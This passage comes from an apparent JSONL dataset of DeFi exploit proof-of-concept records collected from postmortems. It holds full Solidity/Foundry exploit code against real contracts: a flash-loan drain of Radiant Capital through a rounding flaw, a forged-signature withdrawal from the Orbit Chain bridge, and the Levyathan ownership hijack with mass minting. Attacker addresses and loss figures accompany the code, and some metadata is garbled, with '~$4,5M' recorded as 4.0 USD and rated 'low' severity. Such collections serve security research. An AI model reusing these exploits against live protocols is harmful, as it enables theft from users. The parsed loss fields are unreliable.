liquidity (MIC/BNB), swap MIC to BNB and finally transfer swapped BNB to main attack contract\n function remove() external {\n MIC_WBNB.approve(address(Router), type(uint256).max);\n MIC.approve(address(Router), type(uint256).max);\n Router.removeLiquidityETHSupportingFeeOnTransferTokens(\n address(MIC), MIC_WBNB.balanceOf(address(this)), 0, 0, address(this), block.timestamp + 10\n );\n MICToBNB();\n // Transfer BNB to main attack contract\n (bool success,) = msg.sender.call{value: address(this).balance}(\"\");\n require(success, \"Transfering BNB not successful\");\n }\n\n receive() external payable {}\n\n function MICToBNB() private {\n address[] memory path = new address[](2);\n path[0] = address(MIC);\n path[1] = address(WBNB);\n\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n MIC.balanceOf(address(this)), 0, path, msg.sender, block.timestamp + 10\n );\n }\n}\n", "type": "exploit_poc", "protocol": "MIC", "date": "2024-01", "file_name": "MIC_exp.sol", "attack_vector": "flash_loan", "content_hash": "c5c835ff83e02404", "collected_at": "2026-01-07T10:59:16.529620", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$500K", "total_lost_usd": 500000.0, "attacker_address": "https://bscscan.com/address/0x1703062d657c1ca439023f0993d870f4707a37ff", "attack_contract": "https://bscscan.com/address/0xafebc0a9e26fea567cc9e6dd7504800c67f4e3fe", "vulnerable_contract": "https://bscscan.com/address/0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x316c35d483b72700e6f4984650d217304146b3732bb148e32fa7f8017843eb24", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1742484748239536173", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$500K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n // Flashloan 1700 BUSDT tokens\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint8(0)));\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$500K", "keyinfo_attacker": "https://bscscan.com/address/0x1703062d657c1ca439023f0993d870f4707a37ff", "keyinfo_attack_contract": "https://bscscan.com/address/0xafebc0a9e26fea567cc9e6dd7504800c67f4e3fe", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x316c35d483b72700e6f4984650d217304146b3732bb148e32fa7f8017843eb24", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1742484748239536173", "funds_lost_formatted": "$500.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "MIC Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$4,5M\n// Attacker : https://arbiscan.io/address/0x826d5f4d8084980366f975e10db6c4cf1f9dde6d\n// Attack Contract : https://arbiscan.io/address/0x39519c027b503f40867548fb0c890b11728faa8f\n// Vuln Contract : https://arbiscan.io/address/0xf4b1486dd74d07706052a33d31d7c0aafd0659e1\n// Attack Tx : https://explorer.phalcon.xyz/tx/arbitrum/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b\n\n// @Analysis\n// https://neptunemutual.com/blog/how-was-radiant-capital-exploited/\n// https://twitter.com/BeosinAlert/status/1742389285926678784\n\ninterface IRadiant is IAaveFlashloan {\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n}\n\ncontract ContractTest is Test {\n IAaveFlashloan private constant AaveV3Pool = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IRadiant private constant RadiantLendingPool = IRadiant(0xF4B1486DD74D07706052A33d31d7c0AAFD0659E1);\n IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);\n IERC20 private constant rUSDCn = IERC20(0x3a2d44e354f2d88EF6DA7A5A4646fd70182A7F55);\n IERC20 private constant rWETH = IERC20(0x0dF5dfd95966753f01cb80E76dc20EA958238C46);\n IWETH private constant WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));\n Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC6962004f452bE9203591991D15f6b388e09E8D0);\n uint160 private constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;\n uint160 private constant MIN_SQRT_RATIO = 4_295_128_739;\n uint8 private operationId;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 166_405_686);\n vm.label(address(AaveV3Pool), \"AaveV3Pool\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(rUSDCn), \"rUSDCn\");\n vm.label(address(rWETH), \"rWETH\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(RadiantLendingPool), \"RadiantLendingPool\");\n vm.label(address(WETH_USDC), \"WETH_USDC\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n operationId = 1;\n bytes memory params = abi.encode(\n address(RadiantLendingPool), address(rUSDCn), address(rWETH), address(WETH_USDC), uint256(1), uint256(0)\n );\n // Start flashloan attack to manipulate the liquidityIndex value\n takeFlashLoan(address(AaveV3Pool), 3_000_000 * 1e6, params);\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n if ((operationId - 1) != 0) {\n if (operationId == 2) {\n operationId = 3;\n uint256 rUSDCnBalanceBeforeTransfer = rUSDCn.balanceOf(address(this));\n USDC.transfer(address(rUSDCn), rUSDCn.balanceOf(address(this)));\n RadiantLendingPool.withdraw(address(USDC), rUSDCnBalanceBeforeTransfer - 1, address(this));\n }\n } else {\n USDC.approve(address(RadiantLendingPool), type(uint256).max);\n RadiantLendingPool.deposit(address(USDC), 2_000_000 * 1e6, address(this), 0);\n operationId = 2;\n uint8 i;\n while (i < 151) {\n takeFlashLoan(address(RadiantLendingPool), 2_000_000 * 1e6, abi.encode(type(uint256).max));\n ++i;\n }\n // End flashloan attack\n\n // To update: find a way to calculate below WETH amount\n uint256 amountToBorrow = 90_690_695_360_221_284_999;\n RadiantLendingPool.borrow(address(WETH), amountToBorrow, 2, 0, address(this));\n uint256 transferAmount = rUSDCn.balanceOf(address(this));\n HelperExploit helper = new HelperExploit();\n USDC.approve(address(helper), type(uint256).max);\n // liquidityIndex is shifted to a very larger value so flaw (rounding issue) in rayDiv function can be used to take all the funds from pool\n helper.siphonFundsFromPool(transferAmount);\n\n WETH.approve(address(WETH_USDC), type(uint256).max);\n USDC.approve(address(WETH_USDC), type(uint256).max);\n WETH_USDC.swap(address(this), true, 2e18, MIN_SQRT_RATIO + 1, \"\");\n WETH_USDC.swap(address(this), false, 3_232_558_736, MAX_SQRT_RATIO - 1, \"\");\n }\n // Repaying Aave flashloan\n USDC.approve(address(AaveV3Pool), type(uint256).max);\n return true;\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n WETH.transfer(address(WETH_USDC), uint256(amount0Delta));\n } else {\n USDC.transfer(address(WETH_USDC), uint256(amount1Delta));\n }\n }\n\n receive() external payable {}\n\n function takeFlashLoan(address where, uint256 amount, bytes memory params) internal {\n address[] memory assets = new address[](1);\n assets[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = amount;\n uint256[] memory interestRateModes = new uint256[](1);\n interestRateModes[0] = 0;\n IAaveFlashloan(where).flashLoan(address(this), assets, amounts, interestRateModes, address(this), params, 0);\n }\n}\n\ncontract HelperExploit is Test {\n IRadiant private constant RadiantLendingPool = IRadiant(0xF4B1486DD74D07706052A33d31d7c0AAFD0659E1);\n IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);\n IERC20 private constant rUSDCn = IERC20(0x3a2d44e354f2d88EF6DA7A5A4646fd70182A7F55);\n\n function siphonFundsFromPool(\n uint256 amount\n ) external {\n USDC.transferFrom(msg.sender, address(this), amount << 1);\n USDC.approve(address(RadiantLendingPool), type(uint256).max);\n bool depositSingleAmount;\n while (true) {\n if (USDC.balanceOf(address(rUSDCn)) < 1) {\n break;\n }\n if (depositSingleAmount == true) {\n RadiantLendingPool.deposit(address(USDC), amount, address(this), 0);\n } else {\n RadiantLendingPool.deposit(address(USDC), amount << 1, address(this), 0);\n depositSingleAmount = true;\n }\n if (USDC.balanceOf(address(rUSDCn)) > ((amount * 3) >> 1) - 1) {\n RadiantLendingPool.withdraw(address(USDC), ((amount * 3) >> 1) - 1, address(this));\n } else {\n RadiantLendingPool.withdraw(address(USDC), USDC.balanceOf(address(rUSDCn)), address(this));\n USDC.transfer(msg.sender, USDC.balanceOf(address(this)));\n }\n }\n }\n}\n", "type": "exploit_poc", "protocol": "RadiantCapital", "date": "2024-01", "file_name": "RadiantCapital_exp.sol", "attack_vector": "flash_loan", "content_hash": "e5a9eb4e86797fa8", "collected_at": "2026-01-07T10:59:16.529688", "_source": "postmortems", "chain": "arbitrum", "block_number": 166405686, "total_lost_raw": "~$4,5M", "total_lost_usd": 4.0, "attacker_address": "https://arbiscan.io/address/0x826d5f4d8084980366f975e10db6c4cf1f9dde6d", "attack_contract": "https://arbiscan.io/address/0x39519c027b503f40867548fb0c890b11728faa8f", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/arbitrum/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$4,5M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n operationId = 1;\n bytes memory params = abi.encode(\n address(RadiantLendingPool), address(rUSDCn), address(rWETH), address(WETH_USDC), uint256(1), uint256(0)\n );\n // Start flashloan attack to manipulate the liquidityIndex value\n takeFlashLoan(address(AaveV3Pool), 3_000_000 * 1e6, params);\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$4,5M", "keyinfo_attacker": "https://arbiscan.io/address/0x826d5f4d8084980366f975e10db6c4cf1f9dde6d", "keyinfo_attack_contract": "https://arbiscan.io/address/0x39519c027b503f40867548fb0c890b11728faa8f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/arbitrum/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4", "content_richness_score": 9, "quality_estimate": "high", "title": "RadiantCapital Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~81M\n// Attacker : https://etherscan.io/address/0x9263e7873613ddc598a701709875634819176aff\n// Vulnerable Contract : https://etherscan.io/address/0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a\n// Attack Tx (WBTC) : https://explorer.phalcon.xyz/tx/eth/0xe0bada18fdc56dec125c31b1636490f85ba66016318060a066ed7050ff7271f9\n\n// @Analysis\n// https://blog.solidityscan.com/orbit-chain-hack-analysis-b71c36a54a69\n\ninterface IOrbitBridge {\n function withdraw(\n address hubContract,\n string memory fromChain,\n bytes memory fromAddr,\n address toAddr,\n address token,\n bytes32[] memory bytes32s,\n uint256[] memory uints,\n bytes memory data,\n uint8[] memory v,\n bytes32[] memory r,\n bytes32[] memory s\n ) external;\n\n function chain() external view returns (string memory);\n}\n\ncontract ContractTest is Test {\n IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IOrbitBridge private constant OrbitEthVault = IOrbitBridge(0x1Bf68A9d1EaEe7826b3593C20a0ca93293cb489a);\n address private constant orbitHubContractAddress = 0xB5680a55d627c52DE992e3EA52a86f19DA475399;\n address private constant orbitExploiterFromAddr = 0x9263e7873613DDc598a701709875634819176AfF;\n address private constant orbitExploiterToAddr = 0x9ca536d01B9E78dD30de9d7457867F8898634049;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_908_049);\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(OrbitEthVault), \"OrbitEthVault\");\n vm.label(orbitHubContractAddress, \"orbitHubContractAddress\");\n }\n\n function testExploit() public {\n deal(address(WBTC), orbitExploiterToAddr, 0);\n emit log_named_decimal_uint(\n \"Exploiter WBTC balance before attack\", WBTC.balanceOf(orbitExploiterToAddr), WBTC.decimals()\n );\n // At first exploiter has deposited some WBTC tokens (acquired from Uniswap) to Orbit in tx:\n // https://explorer.phalcon.xyz/tx/eth/0x9d1351ca4ede8b36ca9cd9f9c46e3b08890d13d94dfd3074d9bb66bbcc2629b1\n\n // Hash of the tx from Orbit chain. Details can be found at https://bridge.orbitchain.io/ explorer\n bytes32 orbitTxHash = 0xf7f60c98b04d45c371bcccf6aa12ebcd844fca6b17e7cd77503d6159d60a1aaa;\n bytes32[] memory bytes32s = new bytes32[](2);\n bytes32s[0] = sha256(abi.encodePacked(orbitHubContractAddress, OrbitEthVault.chain(), address(OrbitEthVault)));\n bytes32s[1] = orbitTxHash;\n\n // Values specific to fake signatures from attack tx\n uint256[] memory uints = new uint256[](3);\n uints[0] = 23_087_900_000; // token withdraw amount\n uints[1] = WBTC.decimals();\n uints[2] = 8735; // unique identifier for requesting bridging ex, depositId\n\n // v, r, s signature values from attack tx\n uint8[] memory v = new uint8[](7);\n v[0] = 27;\n v[1] = 28;\n v[2] = 28;\n v[3] = 27;\n v[4] = 28;\n v[5] = 28;\n v[6] = 27;\n\n bytes32[] memory r = new bytes32[](7);\n r[0] = 0x3ef06a27b3565a82b6d72af184ca3d787e3dd8fc0bd56bb0e7dce2faf920257d;\n r[1] = 0xf1d81597f32c9376e90d22b9a1f121f1a99a1c191f8e930ed0de6df7b759a154;\n r[2] = 0x3b7169e2ee2b73dcfbabae1400b811b95616cb5dc547b8b7b7c6aeb37b5b906b;\n r[3] = 0xd4b7fd0617b28e1eeb018e1dbf924e662d1a0520cad96af2fcf496e16f4c58c6;\n r[4] = 0xe06c17f1a6630bfa47f0fe0cfba02f40f0901e2412713e4c7f46ae17a25dc92c;\n r[5] = 0xdecb2622da70fee1c343b93dc946eb855fd32c59b293c0765cb94a71e62aeff3;\n r[6] = 0xff7c705149017ce467d05717eadb0a2718aedc7a1799ad153d05e8fc48be853e;\n\n bytes32[] memory s = new bytes32[](7);\n s[0] = 0x0cc266abfa2ba924ffa7dab0cd8f7bb1a14891ec74dea53927c09296d1c6ac7c;\n s[1] = 0x739fe72bab59a2eead1e36fdf71441e0407332c508165e460a2cde5418858e1b;\n s[2] = 0x18303ee09818b0575ea4a5c2ed25b1e78523aa2b387a9c7c9c23b0d906ff9e07;\n s[3] = 0x37da521031f0a65dd8466d4def41c44a69796f696965c42f9705447286c0ac9a;\n s[4] = 0x5443cf63033ab211f205076622b2426b994ce3706c1ee2464a68ef168c7639bb;\n s[5] = 0x725fa18d06acb4f6f8a5b143bca088d76f77d9531765dea6799b484373d0641b;\n s[6] = 0x6b6ddbaaafc5f0580b670ad9d0913ca4c60df2753151a499117086aa725cf2c7;\n\n OrbitEthVault.withdraw(\n orbitHubContractAddress,\n \"ORBIT\",\n abi.encodePacked(orbitExploiterFromAddr),\n orbitExploiterToAddr,\n address(WBTC),\n bytes32s,\n uints,\n \"\",\n v,\n r,\n s\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WBTC balance after attack\", WBTC.balanceOf(orbitExploiterToAddr), WBTC.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "OrbitChain", "date": "2024-01", "file_name": "OrbitChain_exp.sol", "attack_vector": null, "content_hash": "0ffd4b7015733f7f", "collected_at": "2026-01-07T10:59:16.529759", "_source": "postmortems", "chain": "ethereum", "block_number": 18908049, "total_lost_raw": "~81M", "total_lost_usd": 81000000.0, "attacker_address": "https://etherscan.io/address/0x9263e7873613ddc598a701709875634819176aff", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~81M", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(WBTC), orbitExploiterToAddr, 0);\n emit log_named_decimal_uint(\n \"Exploiter WBTC balance before attack\", WBTC.balanceOf(orbitExploiterToAddr), WBTC.decimals()\n );\n // At first exploiter has deposited some WBTC tokens (acquired from Uniswap) to Orbit in tx:\n // https://explorer.phalcon.xyz/tx/eth/0x9d1351ca4ede8b36ca9cd9f9c46e3b08890d13d94dfd3074d9bb66bbcc2629b1\n\n // Hash of the tx from Orbit chain. Details can be found at https://bridge.orbitchain.io/ explorer\n bytes32 orbitTxHash = 0xf7f60c98b04d45c371bcccf6aa12ebcd844fca6b17e7cd77503d6159d60a1aaa;\n bytes32[] memory bytes32s = new bytes32[](2);\n bytes32s[0] = sha256(abi.encodePacked(orbitHubContractAddress, OrbitEthVault.chain(), address(OrbitEthVault)));\n bytes32s[1] = orbitTxHash;\n\n // Values specific to fake signatures from attack tx\n uint256[] memory uints = new uint256[](3);\n uints[0] = 23_087_900_000; // token withdraw amount\n uints[1] = WBTC.decimals();\n uints[2] = 8735; // unique identifier for requesting bridging ex, depositId\n\n // v, r, s signature values from attack tx\n uint8[] memory v = new uint8[](7);\n v[0] = 27;\n v[1] = 28;\n v[2] = 28;\n v[3] = 27;\n v[4] = 28;\n v[5] = 28;\n v[6] = 27;\n\n bytes32[] memory r = new bytes32[](7);\n r[0] = 0x3ef06a27b3565a82b6d72af184ca3d787e3dd8fc0bd56bb0e7dce2faf920257d;\n r[1] = 0xf1d81597f32c9376e90d22b9a1f121f1a99a1c191f8e930ed0de6df7b759a154;\n r[2] = 0x3b7169e2ee2b73dcfbabae1400b811b95616cb5dc547b8b7b7c6aeb37b5b906b;\n r[3] = 0xd4b7fd0617b28e1eeb018e1dbf924e662d1a0520cad96af2fcf496e16f4c58c6;\n r[4] = 0xe06c17f1a6630bfa47f0fe0cfba02f40f0901e2412713e4c7f46ae17a25dc92c;\n r[5] = 0xdecb2622da70fee1c343b93dc946eb855fd32c59b293c0765cb94a71e62aeff3;\n r[6] = 0xff7c705149017ce467d05717eadb0a2718aedc7a1799ad153d05e8fc48be853e;\n\n bytes32[] memory s = new bytes32[](7);\n s[0] = 0x0cc266abfa2ba924ffa7dab0cd8f7bb1a14891ec74dea53927c09296d1c6ac7c;\n s[1] = 0x739fe72bab59a2eead1e36fdf71441e0407332c508165e460a2cde5418858e1b;\n s[2] = 0x18303ee09818b0575ea4a5c2ed25b1e78523aa2b387a9c7c9c23b0d906ff9e07;\n s[3] = 0x37da521031f0a65dd8466d4def41c44a69796f696965c42f9705447286c0ac9a;\n s[4] = 0x5443cf63033ab211f205076622b2426b994ce3706c1ee2464a68ef168c7639bb;\n s[5] = 0x725fa18d06acb4f6f8a5b143bca088d76f77d9531765dea6799b484373d0641b;\n s[6] = 0x6b6ddbaaafc5f0580b670ad9d0913ca4c60df2753151a499117086aa725cf2c7;\n\n OrbitEthVault.withdraw(\n orbitHubContractAddress,\n \"ORBIT\",\n abi.encodePacked(orbitExploiterFromAddr),\n orbitExploiterToAddr,\n address(WBTC),\n bytes32s,\n uints,\n \"\",\n v,\n r,\n s\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WBTC balance after attack\", WBTC.balanceOf(orbitExploiterToAddr), WBTC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~81M", "keyinfo_attacker": "https://etherscan.io/address/0x9263e7873613ddc598a701709875634819176aff", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$81.00M", "content_richness_score": 7.45, "quality_estimate": "medium", "title": "OrbitChain Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"forge-std/console.sol\";\n\n/*Key Information\nThe Levyathan developers left the private keys to a wallet with minting capability available on Github. -rekt\n\nAttacker Address : 0x7507f84610f6d656a70eb8cdec044674799265d3\nMasterChef(Vulnerable Contract) : 0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4\nInitial Timelock Schedule Transaction: https://bscscan.com/address/0x7507f84610f6d656a70eb8cdec044674799265d3\nTransaction was scheduled : https://bscscan.com/tx/0xfd30def124c1345606598ae4817ae184fc1918fc638111c6e71bc9752361fd87\nTransaction Executed : https://bscscan.com/tx/0xe6e504208ba90d121c3212a4f2547ae28e69790ab541d459c080ec8b1f3efab2\nPost-Moderm : https://levyathan-index.medium.com/post-mortem-levyathan-c3ff7f9a6f65\n\nPOC-Written by :Sentient-X\ntwitter :@sentient_x\n\nAll thanks to the creator of this awesome repo\n\n*/\ncontract ContractTest is Test {\n ILEV LEV = ILEV(0x304c62b5B030176F8d328d3A01FEaB632FC929BA);\n\n IMasterChef MasterChef = IMasterChef(0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4);\n\n ITimelock Timelock = ITimelock(0x16149999C85c3E3f7d1B9402a4c64d125877d89D);\n address attacker = 0x7507f84610f6D656a70eb8CDEC044674799265D3;\n address Deployer = 0x6DeBA0F8aB4891632fB8d381B27eceC7f7743A14;\n\n address user1 = 0x160B6772c9976d21ddFB3e3211989Fa099451af7;\n address user2 = 0x2db0500e1942626944efB106D6A66755802Cef20;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 9_545_966); //fork bsc at block 9545967\n\n vm.label(address(MasterChef), \"MasterChef\");\n vm.label(address(LEV), \"LEV\");\n vm.label(address(Timelock), \"Timelock\");\n vm.label(address(Deployer), \"Deployer\");\n }\n\n function test_Timelock() public {\n bytes memory Ownership_hijack =\n (abi.encodePacked(bytes4(keccak256(bytes(\"transferOwnership(address)\"))), abi.encode(address(attacker))));\n\n //Schedule a transaction from the Deployer current owner of timelock.\n vm.startPrank(address(Deployer));\n\n Timelock.schedule(\n address(MasterChef),\n 0,\n Ownership_hijack,\n bytes32(0),\n bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764),\n 172_800\n );\n\n //Validate that transaction is in timelock\n bytes32 txHash = Timelock.hashOperation(\n address(MasterChef),\n 0,\n Ownership_hijack,\n bytes32(0),\n bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)\n );\n\n assertTrue(Timelock.isOperationPending(txHash));\n\n vm.roll(9_600_775);\n vm.warp(block.timestamp + 172_800);\n\n //Execute transaction and validate state is updated\n Timelock.execute(\n address(MasterChef),\n 0,\n Ownership_hijack,\n bytes32(0),\n bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)\n );\n\n assertTrue(Timelock.isOperationDone(txHash));\n vm.stopPrank();\n\n //attacker address recovers LEV MasterChef Contract and mints 1 Octillion tokens\n vm.startPrank(address(attacker));\n MasterChef.recoverLevOwnership();\n LEV.mint(address(attacker), 100_000_000_000_000_000_000_000_000);\n vm.stopPrank();\n\n //Typical user1 tries to leave staking but gets revert error\n vm.expectRevert();\n vm.startPrank(address(user1));\n MasterChef.leaveStaking(10_000);\n\n //Same user1 tries to withdraw but gets another revert error\n vm.expectRevert();\n MasterChef.withdraw(3, 272_356_000_000_000_000_000_000);\n vm.stopPrank();\n\n //user2 does emergency withdraw and succeeds\n vm.startPrank(address(user2));\n MasterChef.emergencyWithdraw(4);\n vm.stopPrank();\n\n //user2 does another emergency withdraw and succeeds again.(Its actually user 3/4 that abused the emergencyWithdraw() vulnerability)\n vm.startPrank(address(user2));\n MasterChef.emergencyWithdraw(4);\n vm.stopPrank();\n }\n}\n\ninterface ITimelock {\n function schedule(\n address target,\n uint256 value,\n bytes calldata data,\n bytes32 predecessor,\n bytes32 salt,\n uint256 delay\n ) external;\n function hashOperation(\n address target,\n uint256 value,\n bytes calldata data,\n bytes32 predecessor,\n bytes32 salt\n ) external returns (bytes32 hash);\n function isOperationPending(\n bytes32 id\n ) external returns (bool pending);\n function execute(\n address target,\n uint256 value,\n bytes calldata payload,\n bytes32 predecessor,\n bytes32 salt\n ) external;\n function isOperationDone(\n bytes32 id\n ) external returns (bool done);\n}\n\ninterface ILEV {\n function mint(address receiver, uint256 amount) external;\n}\n\ninterface IMasterChef {\n function recoverLevOwnership() external;\n function leaveStaking(\n uint256 _amount\n ) external;\n function withdraw(uint256 _pid, uint256 _amount) external;\n function emergencyWithdraw(\n uint256 _pid\n ) external;\n}\n", "type": "exploit_poc", "protocol": "Levyathan", "date": "2021-07", "file_name": "Levyathan_exp.sol", "attack_vector": null, "content_hash": "d639d357c57d955d", "collected_at": "2026-01-07T10:59:16.529823", "_source": "postmortems", "chain": "bsc", "block_number": 9545966, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test_Timelock() public {\n bytes memory Ownership_hijack =\n (abi.encodePacked(bytes4(keccak256(bytes(\"transferOwnership(address)\"))), abi.encode(address(attacker))));\n\n //Schedule a transaction from the Deployer current owner of timelock.\n vm.startPrank(address(Deployer));\n\n Timelock.schedule(\n address(MasterChef),\n 0,\n Ownership_hijack,\n bytes32(0),\n bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764),\n 172_800\n );\n\n //Validate that transaction is in timelock\n bytes32 txHash = Timelock.hashOperation(\n address(MasterChef),\n 0,\n Ownership_hijack,\n bytes32(0),\n bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)\n );\n\n assertTrue(Timelock.isOperationPending(txHash));\n\n vm.roll(9_600_775);\n vm.warp(block.timestamp + 172_800);\n\n //Execute transaction and validate state is updated\n Timelock.execute(\n address(MasterChef),\n 0,\n Ownership_hijack,\n bytes32(0),\n bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)\n );\n\n assertTrue(Timelock.isOperationDone(txHash));\n vm.stopPrank();\n\n //attacker address recovers LEV MasterChef Contract and mints 1 Octillion tokens\n vm.startPrank(address(attacker));\n MasterChef.recoverLevOwnership();\n LEV.mint(address(attacker), 100_000_000_000_000_000_000_000_000);\n vm.stopPrank();\n\n //Typical user1 tries to leave staking but gets revert error\n vm.expectRevert();\n vm.startPrank(address(user1));\n MasterChef.leaveStaking(10_000);\n\n //Same user1 tries to withdraw but gets another revert error\n vm.expectRevert();\n MasterChef.withdraw(3, 272_356_000_000_000_000_000_000);\n vm.stopPrank();\n\n //user2 does emergency withdraw and succeeds\n vm.startPrank(address(user2));\n MasterChef.emergencyWithdraw(4);\n vm.stopPrank();\n\n //user2 does another emergency withdraw and succeeds again.(Its actually user 3/4 that abused the emergencyWithdraw() vulnerability)\n vm.startPrank(address(user2));\n MasterChef.emergencyWithdraw(4);\n vm.stopPrank();\n }\n}\n\ninterface ITimelock {", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.7, "quality_estimate": "low", "title": "Levyathan Exploit (2021-07)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1,6M\n// Attacker : https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847\n// Attack Contract : https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428\n// Vulnerable Contract : https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b40\n// 